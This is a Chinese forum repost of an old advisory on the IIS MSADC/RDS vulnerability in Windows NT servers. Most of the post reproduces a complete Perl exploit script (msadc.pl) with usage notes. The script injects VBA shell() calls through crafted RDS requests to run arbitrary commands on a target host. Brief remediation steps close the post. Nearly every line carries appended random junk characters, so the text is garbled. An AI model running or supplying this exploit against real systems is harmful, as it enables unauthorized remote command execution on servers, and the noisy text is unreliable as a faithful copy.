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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) 8$47Y2r@  
;'V[8`Z@  
涉及程序: -#/DK   
Microsoft NT server ]:?S}DRG  
$E^sA|KcT  
描述: rDoMz3[w  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 1EQ:@1  
Lk#)VGk:  
详细: u #}1 M  
如果你没有时间读详细内容的话,就删除: e@Ev']  
c:\Program Files\Common Files\System\Msadc\msadcs.dll PX&}g-M9  
有关的安全问题就没有了。 1(# H%  
,Fkq/h  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 #`%S[)RT  
A=|a!N/  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 P(8 uL|^  
关于利用ODBC远程漏洞的描述,请参看: |P|2E~[r  
O_th/hl  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm [qkW/qS  
5MCgmF*Y2  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 <_eEpG}9  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp '@#(jY0_  
~-lUS0duh  
这里不再论述。 )c9Xp:  
uBg#zx  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: >Jn`RsuV  
lnjs{`^  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset gYGoJH1  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! :KG=3un]  
tCR~z1  
r<srTHGL o  
#将下面这段保存为txt文件,然后: "perl -x 文件名" ,f,+)C$  
IV':sNV  
#!perl ~.U \Y  
# hH;i_("i(h  
# MSADC/RDS 'usage' (aka exploit) script zI S ,N '  
# xnWezO_  
# by rain.forest.puppy MwSfuP  
# 0~W XA=XG  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me Th\T$T`X$  
# beta test and find errors! '4u/g  
&X` lh P  
use Socket; use Getopt::Std; tK*y/S  
getopts("e:vd:h:XR", \%args); &c&TQkx  
D^F=:-l m  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; -OD&x%L*{3  
`#`C.:/n  
if (!defined $args{h} && !defined $args{R}) { $;=?[Cn  
print qq~ T<Zi67QC@  
Usage: msadc.pl -h <host> { -d <delay> -X -v } 5i'?oXL  
-h <host> = host you want to scan (ip or domain) L5KcI  
-d <seconds> = delay between calls, default 1 second KY%qzq,n  
-X = dump Index Server path table, if available a#CjGj)  
-v = verbose Ow5 VBw(  
-e = external dictionary file for step 5 UMD\n<+cG,  
x 00'wY|  
Or a -R will resume a command session wnXU=  
E1Q#@*rX>  
~; exit;} })uyq_nz  
t&5Ne ?  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; ?-`&YfF  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} OQ<;w  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} ze5#6Vzd&  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); wCv9VvF`  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} u:W/6QS  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } 152s<lu1Z  
lm&^`Bn)  
if (!defined $args{R}){ $ret = &has_msadc; gy|o#&e]%  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} s)-bOZi  
".( G,TW  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" &><b/,]  
. "cmd /c "; upeioC q  
$in=<STDIN>; chomp $in; .s41Tc5u  
$command="cmd /c " . $in ; 1LvR,V<  
Rd]<591  
if (defined $args{R}) {&load; exit;} NzM,0q  
L|-|DOgw  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; 3X',L*f  
&try_btcustmr; e(b$LUV  
r6aIW8  
print "\nStep 2: Trying to make our own DSN..."; 8o $ ` '  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; uXUuA/O5-  
7'{Vh{.  
print "\nStep 3: Trying known DSNs..."; w r,+9uK  
&known_dsn; D97 vfC  
>X"\+7bw  
print "\nStep 4: Trying known .mdbs..."; uocFOlU0n  
&known_mdb; )g3c-W=  
fN<Y3^i"  
if (defined $args{e}){ N0\<B-8+,>  
print "\nStep 5: Trying dictionary of DSN names..."; b^}U^2S%  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } 6^BT32,'  
-G_3B(]`  
print "Sorry Charley...maybe next time?\n"; {KEmGHC4R  
exit; H%Lln#  
m,]9\0GUd  
############################################################################## l4iklg3  
]8Xip/uE  
sub sendraw { # ripped and modded from whisker Clap3E|a  
sleep($delay); # it's a DoS on the server! At least on mine... Ja/  
my ($pstr)=@_; `@:TS)6X0  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || TpYh)=;k  
die("Socket problems\n"); Pl`Nniy  
if(connect(S,pack "SnA4x8",2,80,$target)){ UL%a^' hR  
select(S); $|=1; {9XNh[NbP  
print $pstr; my @in=<S>; "}-S%v`)z  
select(STDOUT); close(S); * y wr_9  
return @in; 7;Q4k"h  
} else { die("Can't connect...\n"); }} g\IwV+iDf  
3QdCu<eBZ  
############################################################################## em- <V5fb  
H5UF r,t  
sub make_header { # make the HTTP request ^/x\HGrw  
my $msadc=<<EOT Z^_zcH'  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 ,]n~j-X  
User-Agent: ACTIVEDATA 0&2`)W?9  
Host: $ip p_EM/jI,  
Content-Length: $clen Wfc~"GQq4  
Connection: Keep-Alive uNw9g<g:V[  
0B}2~}#  
ADCClientVersion:01.06 0O]v|  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 ;, \!&o6  
`(I$_RSE")  
--!ADM!ROX!YOUR!WORLD! *uy<Om  
Content-Type: application/x-varg O;}K7rSc  
Content-Length: $reqlen [U"/A1p  
JB.U&  
EOT uq54+zC  
; $msadc=~s/\n/\r\n/g; b8vZ^8tBV  
return $msadc;} 7~k=t!gTY  
t&EY$'c  
############################################################################## N qz6_!  
fYh<S  
sub make_req { # make the RDS request k6o8'6wN  
my ($switch, $p1, $p2)=@_; SQx&4R.  
my $req=""; my $t1, $t2, $query, $dsn; Ve)BF1YG  
z%lJWvaA7  
if ($switch==1){ # this is the btcustmr.mdb query `QW=<Le?  
$query="Select * from Customers where City=" . make_shell(); m_`%#$s}  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 'lu3BQvfh  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} )Z['=+s%  
_G25$%/LU  
elsif ($switch==2){ # this is general make table query E7aG&K  
$query="create table AZZ (B int, C varchar(10))"; n"Bc2}{  
$dsn="$p1";} :rjfAe=s  
apfr>L3  
elsif ($switch==3){ # this is general exploit table query S)4p'cUwq  
$query="select * from AZZ where C=" . make_shell(); HTvUt*U1  
$dsn="$p1";} _)~VKA]""  
?~yJ7~3TS<  
elsif ($switch==4){ # attempt to hork file info from index server 5wl;fL~e  
$query="select path from scope()"; #5'& |<  
$dsn="Provider=MSIDXS;";} ``6-   
Nv6"c<(L=  
elsif ($switch==5){ # bad query <dr2 bz  
$query="select"; 6f ?,v5  
$dsn="$p1";} . sFN[>)  
IvI..#EzG  
$t1= make_unicode($query); \/V#,O  
$t2= make_unicode($dsn); X:g#&e_  
$req = "\x02\x00\x03\x00"; 'V&Uh]>  
$req.= "\x08\x00" . pack ("S1", length($t1)); x',6VTz^  
$req.= "\x00\x00" . $t1 ; &`tAQN*Z  
$req.= "\x08\x00" . pack ("S1", length($t2)); 4udj"-V  
$req.= "\x00\x00" . $t2 ; urCTP.F  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; ~{vB2  
return $req;} kY{$[+-jR  
LNHi }P~  
############################################################################## { w sT  
i27)c)\BM  
sub make_shell { # this makes the shell() statement b`^Q ':^A  
return "'|shell(\"$command\")|'";} :g^ mg-8  
TOS'|xQ  
############################################################################## dh&> E  
[+ xsX*+  
sub make_unicode { # quick little function to convert to unicode HiH<'m"\.  
my ($in)=@_; my $out; PB8g4-?p6  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } U/|JAg #  
return $out;} D>HbJCG4^  
$ &KkZ  
############################################################################## |d*a~T0  
lmD [Cn  
sub rdo_success { # checks for RDO return success (this is kludge) pIYXYQ=Z  
my (@in) = @_; my $base=content_start(@in); .uxM&|0H  
if($in[$base]=~/multipart\/mixed/){ aJA(UN45  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} R<{Vgy  
return 0;} ;z N1Qb  
> TBXT+  
############################################################################## zR]!g|;f  
aW{5m@p{"  
sub make_dsn { # this makes a DSN for us x-%RRm<V  
my @drives=("c","d","e","f"); ftl?x'P%  
print "\nMaking DSN: "; M6Np!0G  
foreach $drive (@drives) { e"NP]_vh,  
print "$drive: "; 8"ZS|^#  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . .5}Gt>4XM  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" 57gt"f  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); 4K? \5(b  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; JPng !tvR  
return 0 if $2 eq "404"; # not found/doesn't exist 8UqH"^9.Q7  
if($2 eq "200") { xSSEDfq  
foreach $line (@results) { tpO '<b  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} ,-8 -Y>[  
} return 0;} Q9xb7)G  
HTGLFY(&  
############################################################################## !U1 vW}H  
5r~jo7  
sub verify_exists { N~l*//Ep  
my ($page)=@_; P*~ vWYH9  
my @results=sendraw("GET $page HTTP/1.0\n\n"); AovBKB $  
return $results[0];} zp<B,Ls  
vlE]RB  
############################################################################## 7}6CUo  
 ms&1P  
sub try_btcustmr { 0H_uxkB~  
my @drives=("c","d","e","f"); A1,q 3<<D%  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 0BhcXH t  
]W`?0VwF  
foreach $dir (@dirs) { ,$> l[G;Bm  
print "$dir -> "; # fun status so you can see progress X:;x5'|  
foreach $drive (@drives) { '@ Rk#=85Z  
print "$drive: "; # ditto &r4|WM/ec  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; s*<T'0&w0S  
$reqlenlen=length( "$reqlen" ); )`R}@(r.  
$clen= 206 + $reqlenlen + $reqlen; %!(C?k!\  
PM#3N2?|E  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); /WE\0bf  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} (tg9"C  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} m|{^T/kIbQ  
#5z0~Mg-X  
############################################################################## GJr mK  
L+<h 5>6  
sub odbc_error { 2Ki_d  
my (@in)=@_; my $base; {5<fvMO!6  
my $base = content_start(@in); >V27#L2:J  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this bp=r]nO  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 4R\jZ@D  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; jHn7H)F8  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; %]DA4W  
return $in[$base+4].$in[$base+5].$in[$base+6];} =&$z Nc4h  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; c3g`k"3*`  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . ?Y,^Moc:  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} 'xx M0Kn`  
Z_m<x!  
############################################################################## YI,t{Wy  
62zu;p9m  
sub verbose { m} s.a.x  
my ($in)=@_; Rk3 bZvj3  
return if !$verbose; AguE)I&m  
print STDOUT "\n$in\n";} /[\g8U{5B}  
1(IZ,*i  
############################################################################## P@vUQ  
L-D4>+  
sub save { ob;|%_  
my ($p1, $p2, $p3, $p4)=@_; z06,$OYz  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; /YHO"4Z  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; ~nfOV*  
close OUT;} w3);ZQ|  
$m2#oI 'D  
############################################################################## _ s3d$C?B  
b&&l   
sub load { 72Y 6gcg  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; e7xBi!I)~  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); oYZ  4F  
@p=<IN>; close(IN); 7KhS{w6  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); rMbq_5}  
$target= inet_aton($ip) || die("inet_aton problems"); 0r1GGEW`s  
print "Resuming to $ip ..."; 9 $$uk'}w!  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; \+O.vRc"M  
if($p[1]==1) { Z6i~Dy3  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; PD.$a-t  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; S, AxrQc  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); \j62"  
if (rdo_success(@results)){print "Success!\n";} "N6HX*  
else { print "failed\n"; verbose(odbc_error(@results));}} "j,vlG  
elsif ($p[1]==3){ J~]@#=,v  
if(run_query("$p[3]")){ ?1JY6v]h4  
print "Success!\n";} else { print "failed\n"; }} ^?+[yvq  
elsif ($p[1]==4){ I\k<PglRA  
if(run_query($drvst . "$p[3]")){ jL"V0M]c  
print "Success!\n"; } else { print "failed\n"; }} '!7>*<  
exit;} '%[ Y  
goIv m:?  
############################################################################## ~. vridH  
S1U0sP@o  
sub create_table { (!5Ta7X  
my ($in)=@_; JpC=ACF  
$reqlen=length( make_req(2,$in,"") ) - 28; eb\SpdM6  
$reqlenlen=length( "$reqlen" ); S7f.^8  
$clen= 206 + $reqlenlen + $reqlen; <Q9l'u]3$c  
my @results=sendraw(make_header() . make_req(2,$in,"")); _90D4kGU  
return 1 if rdo_success(@results); kWZY+jyt P  
my $temp= odbc_error(@results); verbose($temp); W{"sB:E  
return 1 if $temp=~/Table 'AZZ' already exists/; ?I[8rzBWU  
return 0;} lTMY|{9  
O?Bf (y  
############################################################################## v7 *L3Ol  
nXLz<wE  
sub known_dsn { j}ob7O&U'w  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go 0@-4.IHl  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", FDLo|aP/v  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", 6-_g1vq  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); zY_J7,0g  
*O~y6|U?  
foreach $dSn (@dsns) { ` 5Kg[nB:  
print "."; s;OGb{H7  
next if (!is_access("DSN=$dSn")); L?d?O  
if(create_table("DSN=$dSn")){ }h45j84)  
print "$dSn successful\n"; :C} I6v=  
if(run_query("DSN=$dSn")){ lK=Is v+  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { u_^mN9h  
print "Something's borked. Use verbose next time\n";}}} print "\n";} IRm}?hHf  
<@;}q^`  
############################################################################## |gO7`F2  
T(?w}i  
sub is_access {  k;+TN9  
my ($in)=@_; h8`On/Ur_8  
$reqlen=length( make_req(5,$in,"") ) - 28; A[+)PkR  
$reqlenlen=length( "$reqlen" ); 2j%=o?me^p  
$clen= 206 + $reqlenlen + $reqlen; wBXa;.  
my @results=sendraw(make_header() . make_req(5,$in,"")); M\m:H3[  
my $temp= odbc_error(@results); )Ri!  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); Lxp}o7>K  
return 0;} GLtWo+g0  
{q)d  
############################################################################## H_RfIX)X  
iN Oj @3x  
sub run_query { %(W&(eN  
my ($in)=@_; 8)1q,[:M  
$reqlen=length( make_req(3,$in,"") ) - 28; {k3ItGQ_  
$reqlenlen=length( "$reqlen" ); =m2_:&@0x  
$clen= 206 + $reqlenlen + $reqlen; W:RjWn@<  
my @results=sendraw(make_header() . make_req(3,$in,"")); 2~$S @c  
return 1 if rdo_success(@results); :lB`K>)iB}  
my $temp= odbc_error(@results); verbose($temp); j J{F0o  
return 0;} LRu,_2"  
r89AX{:  
############################################################################## /&Oo)OB;  
l|WFS  
sub known_mdb { i|1*bZ6'  
my @drives=("c","d","e","f","g"); %Z_O\zRqy)  
my @dirs=("winnt","winnt35","winnt351","win","windows"); U_*, XLU  
my $dir, $drive, $mdb; p*Q-o  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; (a_bU5)  
D0jV}oz  
# this is sparse, because I don't know of many u?`{s88_mF  
my @sysmdbs=( "\\catroot\\icatalog.mdb", LsWD^JE.  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", ruGJZAhIA^  
"\\system32\\certmdb.mdb", yk8b>.Y\A  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% x8@ 4lxj  
`#ruZM066  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", n\((#<&  
"\\cfusion\\cfapps\\forums\\forums_.mdb", v@%4i~N  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", ~x,_A>a  
"\\cfusion\\cfapps\\security\\realm_.mdb", 6AJk6 W^Z  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", dBd7#V:}yV  
"\\cfusion\\database\\cfexamples.mdb", )ovAGO  
"\\cfusion\\database\\cfsnippets.mdb", .b]s Q'  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", "KP]3EyPc  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", >;MJm  
"\\cfusion\\brighttiger\\database\\cleam.mdb", Q<V(#)*  
"\\cfusion\\database\\smpolicy.mdb", 61H_o7XXk  
"\\cfusion\\database\cypress.mdb", / rc[HbNg.  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", }dzdx "  
"\\website\\cgi-win\\dbsample.mdb", @. -S(MNR  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", * |,N/e  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" \:J=tAC  
); #these are just c},pu[nL  
foreach $drive (@drives) { 5FR#CQ  
foreach $dir (@dirs){ x9 Z89Gwi  
foreach $mdb (@sysmdbs) { */M`KPW  
print "."; B%6cgm,  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ Kz42AC  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; z='%NZY  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ 0beP7}$  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; b~vV++ou_  
} else { print "Something's borked. Use verbose next time\n"; }}}}} i6KfH\{N  
> mO*.'Gm  
foreach $drive (@drives) { pRun5 )7  
foreach $mdb (@mdbs) { Qa_V  
print "."; g:fvg!_v  
if(create_table($drv . $drive . $dir . $mdb)){ R#hy2kA  
print "\n" . $drive . $dir . $mdb . " successful\n"; PN93.G(W  
if(run_query($drv . $drive . $dir . $mdb)){ vQ*[tp#qU  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; 0fewMS*  
} else { print "Something's borked. Use verbose next time\n"; }}}} FJZ'P;3  
} |;US)B8}*Z  
jXeE]A"  
############################################################################## T>asH  
.1[.f}g$J  
sub hork_idx { '{2]:  
print "\nAttempting to dump Index Server tables...\n"; S#M8}+ZD,  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; ,)[9RgsE  
$reqlen=length( make_req(4,"","") ) - 28; *eoH"UFYQ#  
$reqlenlen=length( "$reqlen" ); d/9YtG%q  
$clen= 206 + $reqlenlen + $reqlen; m&gd<rt/  
my @results=sendraw2(make_header() . make_req(4,"","")); 3l<qcKKc  
if (rdo_success(@results)){ ?\8aT"o  
my $max=@results; my $c; my %d; 1M&Lb. J6  
for($c=19; $c<$max; $c++){ >Y08/OAI.2  
$results[$c]=~s/\x00//g; YAc:QVT87  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; <ZSXOh,'  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; `w 6Qsah  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; P#hRqETw  
$d{"$1$2"}="";} h]s6)tI I  
foreach $c (keys %d){ print "$c\n"; } XA!a^@<H  
} else {print "Index server doesn't seem to be installed.\n"; }} ] x)>q  
;"nO'wN:h  
############################################################################## >"2jCR$/  
i-wRwl4aEF  
sub dsn_dict { !-}Q{<2@W  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); I9Ohz!RQ  
while(<IN>){ #<)[{+f[t  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; ht2Fi e  
next if (!is_access("DSN=$dSn")); Cw(e7K7&  
if(create_table("DSN=$dSn")){ 72Bc0Wg  
print "$dSn successful\n"; et+lL"&  
if(run_query("DSN=$dSn")){ ,pD sU@  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { `'s_5Ek  
print "Something's borked. Use verbose next time\n";}}} DYf2V6'  
print "\n"; close(IN);} >;4q  
.5Y{Yme  
############################################################################## z]N#.utQ  
U*a#{C7"  
sub sendraw2 { # ripped and modded from whisker Nl YFS?5  
sleep($delay); # it's a DoS on the server! At least on mine... *:H,-@  
my ($pstr)=@_; jz<}9Kze  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || .rk5u4yK  
die("Socket problems\n"); s-rc0:I  
if(connect(S,pack "SnA4x8",2,80,$target)){ }oZ8esZU2  
print "Connected. Getting data"; Zeg'\&w0s  
open(OUT,">raw.out"); my @in; 3q/Us0jr  
select(S); $|=1; print $pstr; <}WSYK,zUY  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} IaeO0\ 4E  
close(OUT); select(STDOUT); close(S); return @in; g*b`o87PI  
} else { die("Can't connect...\n"); }} v>LK+|U  
YxM\qy {Vr  
############################################################################## V5lUh#@TN&  
iO*5ClB  
sub content_start { # this will take in the server headers tM"vIz 05  
my (@in)=@_; my $c; dQIF '==6  
for ($c=1;$c<500;$c++) { =7+%31  
if($in[$c] =~/^\x0d\x0a/){ K uwhA-IL  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } (X@\2M4@T#  
else { return $c+1; }}} qR cSB  
return -1;} # it should never get here actually HjK8y@j  
(5jKUQ8Q>  
############################################################################## 5b"=m9{g  
Mrk3r/ 8w  
sub funky { FBl,Mky  
my (@in)=@_; my $error=odbc_error(@in); W\Pd:t  
if($error=~/ADO could not find the specified provider/){ IB# ua:  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; "m^gCN}c  
exit;} qe&|6M!  
if($error=~/A Handler is required/){ '|]}f}Go  
print "\nServer has custom handler filters (they most likely are patched)\n"; M%_*vD  
exit;} !f(A9V  
if($error=~/specified Handler has denied Access/){ 7kV$O(4  
print "\nServer has custom handler filters (they most likely are patched)\n"; oA5Qk3b:  
exit;}} 5 b rM..  
Kc[^Pu  
############################################################################## OF<:BaRs/  
 _:\rB  
sub has_msadc { Q(<A Yu  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); 'G65zz  
my $base=content_start(@results); sBZn0h@  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); ?M'CTz}<\  
return 0;} |[n\'Xy;{  
--y,ky#  
######################## Pa{DB?P  
LIG@`  
4-[U[JJc  
解决方案: 5*2hTM!  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll ?:/J8s [O  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 5(#z)T  
!jl^__ .DR  
拿出来充数 哈哈
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